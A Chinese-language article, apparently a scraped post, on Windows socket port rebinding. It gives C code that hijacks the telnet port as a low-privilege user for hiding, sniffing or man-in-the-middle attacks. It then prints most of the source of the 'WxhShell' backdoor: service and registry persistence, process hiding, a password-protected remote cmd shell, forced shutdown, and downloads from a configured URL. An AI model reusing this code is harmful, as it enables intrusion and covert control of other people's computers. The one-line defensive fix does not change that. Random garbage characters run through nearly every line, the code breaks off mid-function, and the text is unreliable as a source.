在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Z8 x(_ft5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
}7V/(K z)26Ahm TV saddr.sin_family = AF_INET;
o|+tRl xASjw? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
xiI!_0' (.c?)_G, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Umqm5*P( #ua#$&p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?@nu]~ 46vz=# ,6L 这意味着什么?意味着可以进行如下的攻击:
0ode&dB C8?/$1|RL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0V^?~ex #E#70vWp\O 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-+L1Hid.7 ]OVjq? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
by
{~gu ,FTF@h-Cs 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*/1z=
|^1eL I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jkbz8.K 6jn<YR
E-
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+RbCa
c j_}e%,} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
dCHU* 7DS cX*^PSM #include
u^ T2 #include
NYCkYI #include
. "R
2^` #include
Z'EZ PuZ!' DWORD WINAPI ClientThread(LPVOID lpParam);
rg`"m int main()
yY1&hop {
=Rui WORD wVersionRequested;
''Hq-Ng DWORD ret;
a7+BAma< WSADATA wsaData;
mBNa;6w?{* BOOL val;
=q._Qsj?fu SOCKADDR_IN saddr;
o5)U3U1| SOCKADDR_IN scaddr;
A`@we int err;
f.,-KIiF SOCKET s;
9+L!
A SOCKET sc;
Q/< $ (Y int caddsize;
?D.]c;PR HANDLE mt;
3}H94H)]a DWORD tid;
!u^(<.xJ
wVersionRequested = MAKEWORD( 2, 2 );
k8h$#@^ err = WSAStartup( wVersionRequested, &wsaData );
? 0%lB=qQ if ( err != 0 ) {
O6`@'N>6P printf("error!WSAStartup failed!\n");
*P_TG"^{W return -1;
-X |G }
43/|[ saddr.sin_family = AF_INET;
x>t:&Y M UZ<!(g. //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;a68>5Lm* W4Eo1 E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'Ct+0X:D saddr.sin_port = htons(23);
k\EMO\je if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?J>^X-z {
40Du*5M printf("error!socket failed!\n");
?-(E$ll return -1;
T-27E$0 }
}g3)z%Xe'[ val = TRUE;
;1BbRnCr //SO_REUSEADDR选项就是可以实现端口重绑定的
2qN6{+] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D3I;5m`_ {
nGRF<2! printf("error!setsockopt failed!\n");
7OT}V}iP return -1;
3i7n"8\$ }
Jx'p\* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=Y89X6 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8Uc#>Ae'_ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5H<r I? N^)L@6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r|&qXb x {
fx9c1h9s ret=GetLastError();
{dA#r>z\1 printf("error!bind failed!\n");
M'*
Y return -1;
&
K7+V }
}lWEbQ)(! listen(s,2);
C[~b6UP while(1)
gvz&ppcG {
sB /*gO caddsize = sizeof(scaddr);
Fm*O&6W\@A //接受连接请求
pTcm2-J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Lx2.E1?@ if(sc!=INVALID_SOCKET)
Y(<>[8S m {
u+S*D\p<` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
W[+E5I if(mt==NULL)
oZ!rK/qoA {
4j/8Otn printf("Thread Creat Failed!\n");
\p.ku%{ break;
$NqT={! }
MvObx'+ }
! k&< CloseHandle(mt);
xAsbP$J: }
Ww@Rewo closesocket(s);
IX-ir WSACleanup();
VTD'D+t return 0;
:eDwkzlHH }
H+-9R DWORD WINAPI ClientThread(LPVOID lpParam)
8W#whK2El {
(0^u SOCKET ss = (SOCKET)lpParam;
:)bm+xWFF SOCKET sc;
is`le}$^y unsigned char buf[4096];
2TiUo(MK SOCKADDR_IN saddr;
= eYrz@, long num;
aA=qel DWORD val;
"]`!#5j^WP DWORD ret;
?-J\~AXL //如果是隐藏端口应用的话,可以在此处加一些判断
w,D(zk$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;Cm%<vW4! saddr.sin_family = AF_INET;
7LKNEll saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y1f&+y9e saddr.sin_port = htons(23);
HJM- ;C]( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
h@/c76}f6p {
|UE&M3S printf("error!socket failed!\n");
k_$w+Q return -1;
"<NQ2Vr]5 }
5G=2=E val = 100;
KI#),~nS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Q+gQ"l,95 {
`AQv\@wp ret = GetLastError();
P)ZGNtO9fG return -1;
K5'@$Km }
=p:D_b if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>Xh9{/o {
#~ UG9@a ret = GetLastError();
p-r}zc9@ return -1;
b4i=eI8 }
PWx2<t<;9 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&`GQS| {
_=8x?fC:rl printf("error!socket connect failed!\n");
sZ7{_}B closesocket(sc);
EnZrnoGM closesocket(ss);
wSnY;Z9W_ return -1;
@~xNax&^ }
]xbR:CYJ while(1)
[{-
Oy#T< {
}n oI2.-# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UC3?XoT\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
WTZP}p1 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j;)U5X num = recv(ss,buf,4096,0);
%jim] ]<S[ if(num>0)
Fz~-m# Ts send(sc,buf,num,0);
R"VmN2 else if(num==0)
H5{d;L1[ break;
*EvnN: num = recv(sc,buf,4096,0);
+QqYf1@F if(num>0)
p.n+m[ send(ss,buf,num,0);
A9!%H6 else if(num==0)
7;+:J;xf66 break;
Zw`Xg@;xP }
fXEF]C closesocket(ss);
s-~Tf| closesocket(sc);
-!k"*P return 0 ;
vn9_tL& }
he;&KzEu u+~Ta p{[Ol ==========================================================
*O+G}_}
/MO|q 下边附上一个代码,,WXhSHELL
gyondcF 1zl6Rwk^o ==========================================================
6$lj$8\ 4&2aJ_ 2y #include "stdafx.h"
S1.w^Ccy 49E<`f0 #include <stdio.h>
wWQv]c% #include <string.h>
SoI"a^fY #include <windows.h>
Kzfa4C #include <winsock2.h>
)#N)w5DU #include <winsvc.h>
" +'E #include <urlmon.h>
RU|{'zC\v PTXy:>]M #pragma comment (lib, "Ws2_32.lib")
a=+qR:wT #pragma comment (lib, "urlmon.lib")
k,LeBCqGcb 1D sgU6" #define MAX_USER 100 // 最大客户端连接数
7loIX Qw #define BUF_SOCK 200 // sock buffer
!'Q/9%g #define KEY_BUFF 255 // 输入 buffer
|<t"O s`B "qw #define REBOOT 0 // 重启
lED-Jo2 #define SHUTDOWN 1 // 关机
3M=ym. R_e{H^pY^ #define DEF_PORT 5000 // 监听端口
PMe bn$( ^F"Q~?D) #define REG_LEN 16 // 注册表键长度
mFC0f?nr #define SVC_LEN 80 // NT服务名长度
ggR@& \ :n4? // 从dll定义API
C0eP/d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
KWq7M8mq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
K3Zc>QL{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4W
&HUQ?^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
CqDKQQ /p+ (_Y // wxhshell配置信息
Mhc!v, D$ struct WSCFG {
~ pWbD~aeg int ws_port; // 监听端口
QqA~y$'ut char ws_passstr[REG_LEN]; // 口令
"T|%F D&[ int ws_autoins; // 安装标记, 1=yes 0=no
!/^i\)j>]( char ws_regname[REG_LEN]; // 注册表键名
*,A?lX,9A char ws_svcname[REG_LEN]; // 服务名
dlsVE~_G char ws_svcdisp[SVC_LEN]; // 服务显示名
E5(\/;[*` char ws_svcdesc[SVC_LEN]; // 服务描述信息
q{gt2OWqX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
z=J%-Hq> int ws_downexe; // 下载执行标记, 1=yes 0=no
=\GuIH2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
0!!b(X( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(vMC.y5 0wU8PZ Nj };
$@<qaR{t \ 8.3888 // default Wxhshell configuration
B#9rqC struct WSCFG wscfg={DEF_PORT,
2UU5\
jV6 "xuhuanlingzhe",
r<,W{Va 1,
=(Y 1y$ "Wxhshell",
n8n(< "Wxhshell",
k\W%^Z "WxhShell Service",
[HGGXgN "Wrsky Windows CmdShell Service",
'jcDfv(v< "Please Input Your Password: ",
pw:<a2. 1,
5@j?7%_8 "
http://www.wrsky.com/wxhshell.exe",
MLmc]nL= "Wxhshell.exe"
=,-80WNsX };
6fPuTQ}fY> ,e>C)wq; // 消息定义模块
M#})
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/'E+(Y&:J char *msg_ws_prompt="\n\r? for help\n\r#>";
$${ebt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%kNkDI char *msg_ws_ext="\n\rExit.";
*%ZfE,bu8< char *msg_ws_end="\n\rQuit.";
j]J2,J char *msg_ws_boot="\n\rReboot...";
-O~WHi5} char *msg_ws_poff="\n\rShutdown...";
|IH-a" char *msg_ws_down="\n\rSave to ";
0"u*K n j3`:;'L char *msg_ws_err="\n\rErr!";
^]wm Y char *msg_ws_ok="\n\rOK!";
4'+/R%jk" _@sqCf%| char ExeFile[MAX_PATH];
S=[K/Kf- int nUser = 0;
A`#v- HANDLE handles[MAX_USER];
GfQMdLy\Z int OsIsNt;
5#d"]7 ~n]:f7?I SERVICE_STATUS serviceStatus;
8[f]9P/i SERVICE_STATUS_HANDLE hServiceStatusHandle;
xQ1&j,R] @)VJ,Ql$Y // 函数声明
N3vk<sr@ int Install(void);
' n4zFj+S int Uninstall(void);
:@_CQc*yB int DownloadFile(char *sURL, SOCKET wsh);
n5S$Dl int Boot(int flag);
FO3!tJ\L void HideProc(void);
.IpwTke' int GetOsVer(void);
S_c#{4n int Wxhshell(SOCKET wsl);
peGXU/5.I void TalkWithClient(void *cs);
T>n,@?#K int CmdShell(SOCKET sock);
BEPDyy int StartFromService(void);
j/ 9FiuK int StartWxhshell(LPSTR lpCmdLine);
Podm 3b + qpD>5# VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
~ ;)@a VOID WINAPI NTServiceHandler( DWORD fdwControl );
#k)G1Y[c sPkT>q // 数据结构和表定义
Js^ADUy SERVICE_TABLE_ENTRY DispatchTable[] =
kf>'AbN {
4x8mJ4[H^ {wscfg.ws_svcname, NTServiceMain},
e[915Q _ {NULL, NULL}
sXoBw.^Ir_ };
F8b*Mt}p `mw@" // 自我安装
o,bV.O.W int Install(void)
7_#v_ A^ {
J;m[1Mae& char svExeFile[MAX_PATH];
6xnJyEQUM HKEY key;
?_\Hv@t; strcpy(svExeFile,ExeFile);
76 =uk!#3{ X,O&X // 如果是win9x系统,修改注册表设为自启动
R(pvUm&L if(!OsIsNt) {
LfOGq%& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x"AYt:ewuc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+tfmBZl^ RegCloseKey(key);
b)@D*plS& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
#:' P3)& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
^_5$+ RegCloseKey(key);
-Rjn<bTIy return 0;
~ D3'-,n[ }
seAkOIc }
sS5#Q }
+ 6r@HK`,t else {
(O&~*7D* P[XE5puC // 如果是NT以上系统,安装为系统服务
tm+}@CM^. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
N@Slc
0 if (schSCManager!=0)
%l:%c {
a^Zn
}R r SC_HANDLE schService = CreateService
4pA<s- (
( Y/
DMQ schSCManager,
,iSs2&$m wscfg.ws_svcname,
'kW`62AX wscfg.ws_svcdisp,
7
hnTHL SERVICE_ALL_ACCESS,
j nI)n* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
C6'[ Tn SERVICE_AUTO_START,
#"i}wS SERVICE_ERROR_NORMAL,
-fUz$Df/R svExeFile,
T'Jw\u>"R NULL,
ml?+JbLg0 NULL,
%5F=!(w NULL,
Y
3KCIL9 NULL,
y0(k7D|\ NULL
d9Rj-e1x );
vNE91 if (schService!=0)
/ d6mlQS {
i7 p#%2 CloseServiceHandle(schService);
zac>tXU; CloseServiceHandle(schSCManager);
i9.52 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
db#y]>^l strcat(svExeFile,wscfg.ws_svcname);
@ULr)&9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
XHpoaHyx RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Fzu"&&>0$ RegCloseKey(key);
#+Vvf return 0;
JvHJ*E }
l[\[)X3$ }
0dIJgKanGP CloseServiceHandle(schSCManager);
p[Q }
1q\U
(^ }
m?<C\&)6x t~U:{g~ return 1;
d6hWmZVC }
P\N`E?lJL @*%.V. // 自我卸载
h+Dg"j<[ int Uninstall(void)
3)Paf`mr {
lfj>]om$ HKEY key;
H.i_,ZF Nu9mK if(!OsIsNt) {
{L q
uOC1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[xI@)5Xk RegDeleteValue(key,wscfg.ws_regname);
Y/@4|9! RegCloseKey(key);
^lf;Lc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
cHJ
&a`; RegDeleteValue(key,wscfg.ws_regname);
N{Is2Ia RegCloseKey(key);
^8V]g1]fiG return 0;
"F%cn@l }
vRT1tOQ$ }
e?Cbl' }
)C|>M'g@v else {
evszfCH'J +(|T\%$DT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
nHT2M{R if (schSCManager!=0)
{mkYW-4Se {
kTC6fNj[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
SrHRpxy if (schService!=0)
?J<4IvL/ {
X0U{9zP if(DeleteService(schService)!=0) {
:Z=A,G CloseServiceHandle(schService);
EzG7RjW CloseServiceHandle(schSCManager);
IL>Gi`Y& return 0;
{SROg;vA }
~@sx}u CloseServiceHandle(schService);
+Do7rl }
26\1tOj Np CloseServiceHandle(schSCManager);
z
^a,7}4 }
VK?,8Y }
Uyi_B.:` C= hE@ return 1;
M:C*?;K: }
@p`#y [
8v)\lu // 从指定url下载文件
-4hX- int DownloadFile(char *sURL, SOCKET wsh)
/"/$1F%{ {
]@WJ&e/'@ HRESULT hr;
:5"|iRP' char seps[]= "/";
5RlJybN"o char *token;
I{1w8m4O6 char *file;
g~Q#U;] char myURL[MAX_PATH];
=|?w<qc char myFILE[MAX_PATH];
TH6g:YP`7 {}lw%d?A strcpy(myURL,sURL);
fNB*o={r| token=strtok(myURL,seps);
tk,
HvE while(token!=NULL)
QZ{:#iuig {
RHB>svT^K> file=token;
cQ+V4cW
Z token=strtok(NULL,seps);
WJJ!NoP }
!_V*VD +o_`k! GetCurrentDirectory(MAX_PATH,myFILE);
!-\*rdE{9 strcat(myFILE, "\\");
Re.fS6y$> strcat(myFILE, file);
[0IeEjL send(wsh,myFILE,strlen(myFILE),0);
Ye(0'*-jyc send(wsh,"...",3,0);
%A64 Y<K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
?rHc%H if(hr==S_OK)
]`:Fj|> return 0;
O`Z>Oon? else
X\YeO>C return 1;
]`UJwq :l*wf/&z }
9 -TFyZYU J.O;c5wL // 系统电源模块
7dU X(D,? int Boot(int flag)
B`KpaE] {
8qBw;A) HANDLE hToken;
rtUdL,Hx TOKEN_PRIVILEGES tkp;
G-}
zkax !)&-\!M> if(OsIsNt) {
y8,es$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
kuUH2:L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
VY![VnHsB tkp.PrivilegeCount = 1;
^{Mx?]z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
@];Xbbw+c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y
@K9Hl if(flag==REBOOT) {
s'5
jvlG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rg\|-_.es' return 0;
}*0%wP }
:!aFfb[" else {
rfCoi>{< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
NG b`f-:jw return 0;
E2dSOZS:)% }
i&?~QQP` }
Y4b"(ZhM_ else {
sQt@B#; if(flag==REBOOT) {
2f~s$I&l# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8@Y@5)Oc return 0;
9N
u;0 }
bg 7b!t1F else {
Ya,>E@oc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
%7L'2/Y2x return 0;
~}TVM%0RTq }
57r\s8 }
?DpMR/ I*}:C return 1;
w#"c5w~ }
[%3{mAd 'rd{fe_g! // win9x进程隐藏模块
0 J ANj void HideProc(void)
V:l; 2rW {
0eb`9yM >0~y"~M HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
tb_}w@:kU if ( hKernel != NULL )
Ou,B3kuQ+ {
&Cdd pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
67f#Z&r2k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ho\z^w+T` FreeLibrary(hKernel);
v'Lckw@G4 }
=I*"vwc? _<5>
E return;
^mG-O }
2#|Q=rWB LR`/pet // 获取操作系统版本
aP4r6lLv+ int GetOsVer(void)
N(F9vZOs {
@3b0hi4 OSVERSIONINFO winfo;
WRD^S:`BH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
TrHBbyqk GetVersionEx(&winfo);
PRf2@0ZV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\d
v9:X$ return 1;
4?d2#Xhs8 else
G =lC[i return 0;
-<CBxyZa& }
b/<n:*$
#mtlgK' // 客户端句柄模块
vY.p~3q :) int Wxhshell(SOCKET wsl)
~/gqXT"> {
;.m"y- SOCKET wsh;
5)EnOT"' struct sockaddr_in client;
JkpA
\<
DWORD myID;
K _y;<a] [j:%O|h while(nUser<MAX_USER)
=SLJkw&w6 {
*y.KD4@{ int nSize=sizeof(client);
Tw|=;m wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KS%xo6k. if(wsh==INVALID_SOCKET) return 1;
Is%-r.i u,/PJg-(! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q%KS$nP9 if(handles[nUser]==0)
h!MZ6}zb) closesocket(wsh);
P^.L0T5g else
G?YKm1:w nUser++;
h5B'w }
z^=9%tLJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
yPuT%H&i wYS4#7 return 0;
n?:s/6tP }
e'g-mRh z`{Ld9W // 关闭 socket
=y^N'1q void CloseIt(SOCKET wsh)
cojuU=i {
]LNP"vi; closesocket(wsh);
Tpkm\_ nUser--;
OSsdB%bIu` ExitThread(0);
Q- j+#NGc }
-,}f6* +ZXk0sP_< // 客户端请求句柄
VxaJ[s3PQ& void TalkWithClient(void *cs)
kM@8RAxA {
2sWM(SN 7pr@aA"vgj SOCKET wsh=(SOCKET)cs;
* 496"kU char pwd[SVC_LEN];
$40tAes9 char cmd[KEY_BUFF];
kg9ZSkJr char chr[1];
|P~TZ int i,j;
Z>M0[DJ_ |<9R% while (nUser < MAX_USER) {
F8/4PB8- Q>= :$I if(wscfg.ws_passstr) {
8"RX~Igf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
i!sKL%z} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
JAc-5e4 //ZeroMemory(pwd,KEY_BUFF);
)1&[uE#L i=0;
sIg{a(1/ while(i<SVC_LEN) {
bi[vs| JZ80 |-c // 设置超时
*G2p;n=2 fd_set FdRead;
&5c)qap;n struct timeval TimeOut;
WVp14Z?k FD_ZERO(&FdRead);
Tig`4d-% FD_SET(wsh,&FdRead);
O,XVA TimeOut.tv_sec=8;
^%*%=LJm TimeOut.tv_usec=0;
JKXs/r;: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
\JN?3}_J if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
l}K{=%U>7 'tp+g3V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s#-`,jqD pwd
=chr[0]; 57D /"
if(chr[0]==0xd || chr[0]==0xa) { %A:<rO85o
pwd=0; exZa:9 sp
break; 7n}J}8Y*U2
} 2NqlE
i++; kf.w:X"i
} -=QA{n
oB#KR1
>%7
// 如果是非法用户,关闭 socket SUHyg/|F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gQ/-.1Pz$
} q>o1kTI
1i^!A&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R\
<HR9 r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~ex1,J*}t
E0Ig/
j
while(1) { {3@/@jO?
Gpo(Zf?
ZeroMemory(cmd,KEY_BUFF); ST] h NM
&mp=j GR
// 自动支持客户端 telnet标准 :anUr<
j=0; Z^>{bW
while(j<KEY_BUFF) { FE" ksi 9
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~UEft
cmd[j]=chr[0]; j[
kg9z
if(chr[0]==0xa || chr[0]==0xd) { ,*wa#[
cmd[j]=0; gW$X8ECX
break; ENr\+{{%
} oj;Rh!O
j++; z~UqA1r
} {D 9m//x
/*B-y$WQk
// 下载文件 >01&3-r
if(strstr(cmd,"http://")) { 1#gveHm]-G
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T:q!>"5
if(DownloadFile(cmd,wsh)) 9l+'V0?`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GNgPf"}K
else |B./5 ,nSS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xf_NHKZ)
} 0 P3^#j
else { s["8QCd"r
4l <%Q2
switch(cmd[0]) { d
*!) wt
@6~r7/WD
// 帮助 +Vl\lL
-
case '?': { :&S6AP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cd?aC
break; |$f.Qs~?
} 9o@5:.b<j
// 安装 /xUTm=w7u
case 'i': { {U=Mfo?AH
if(Install()) )! Jo7SR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b MZ-{<+i
else ]4^9Tw6
_b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ds}: t.3}6
break; ]+u`E
} g\[?U9qN
// 卸载 ABuK`(f.
case 'r': { U%.OH?;f
if(Uninstall()) 2? 9*V19yu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_xQa$U[
else :D|"hJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^`XQ>-wWue
break; e`27 ?
} e%Rg,dX
// 显示 wxhshell 所在路径 OuWG.Za
case 'p': { 4! ]28[2B6
char svExeFile[MAX_PATH]; FZf{kWH
strcpy(svExeFile,"\n\r"); E4idEQ}H
strcat(svExeFile,ExeFile);
I?<5
%
send(wsh,svExeFile,strlen(svExeFile),0); Q"itV&d,
break; &Azfpv
} + :4
F@R
// 重启 I.As{0cc
case 'b': { Tk\?$n
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t@m!k+0
if(Boot(REBOOT)) v50w}w'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <Ih)h$8`
else { r{R879
closesocket(wsh); n] {sBI3
ExitThread(0); sl?> X)}
} rWsUWA T*
break; v/gxQy+l
} j
N":9+F
// 关机 &m<:&h& b
case 'd': { di$\\ Ah
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HG
kL6o=
if(Boot(SHUTDOWN)) S<fSoU+RJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 36iDiT_
else { >d2U=Yk!
closesocket(wsh); .{r 0Szm.
ExitThread(0); Esx"nex
} ^k{b8-)W<
break; r Z)?uqa
} \zOo[/-<
// 获取shell ~gZ"8frl
case 's': { ($s%5|
CmdShell(wsh); noI>Fw<V
closesocket(wsh); 'y_<O |-
ExitThread(0); s9^r[l@W0U
break; Ix~_.&
} Lh`B5
// 退出 9vX~gh{]~
case 'x': { $D&N^}alW
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F%|F-6
CloseIt(wsh); XM?>#^nC?u
break; P?WS=w*O0
} .t53+<A
// 离开 -(~OzRfYi
case 'q': { % )'#
d
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )c432).Z
closesocket(wsh); B L^?1x
WSACleanup(); 5=cS5q@
exit(1); L F<{/c9,
break; vT1StOx<V
} iG+hj:5
} +hiskV@ v
}
^W8kt
#^FDG1=
// 提示信息 dC,a~`%O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4zo^ b0v
} GQ-fEIi{
} ]]"O)tWHj
gdr"34%vbM
return; $f>h_8cla
} L[s7q0 F`l
z:gp\
// shell模块句柄 "2m (*+
int CmdShell(SOCKET sock) 'aV/\a:*
{ NQ&\t[R[
STARTUPINFO si; r.z=
ZeroMemory(&si,sizeof(si)); GycW3tc]_&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZsnFuk#W
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^mp#7OL
PROCESS_INFORMATION ProcessInfo; 9I1D'7wI^^
char cmdline[]="cmd"; Q{K'#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O%m\
Q1
return 0; "39\@Ow
} Xg4iH5!E
MJ.K,e
// 自身启动模式 nXRT%[o&
int StartFromService(void) qp##>c31X
{ :)*+aS"
typedef struct <y`MUpf]
{ ,;D$d#\"
DWORD ExitStatus; Acix`-<
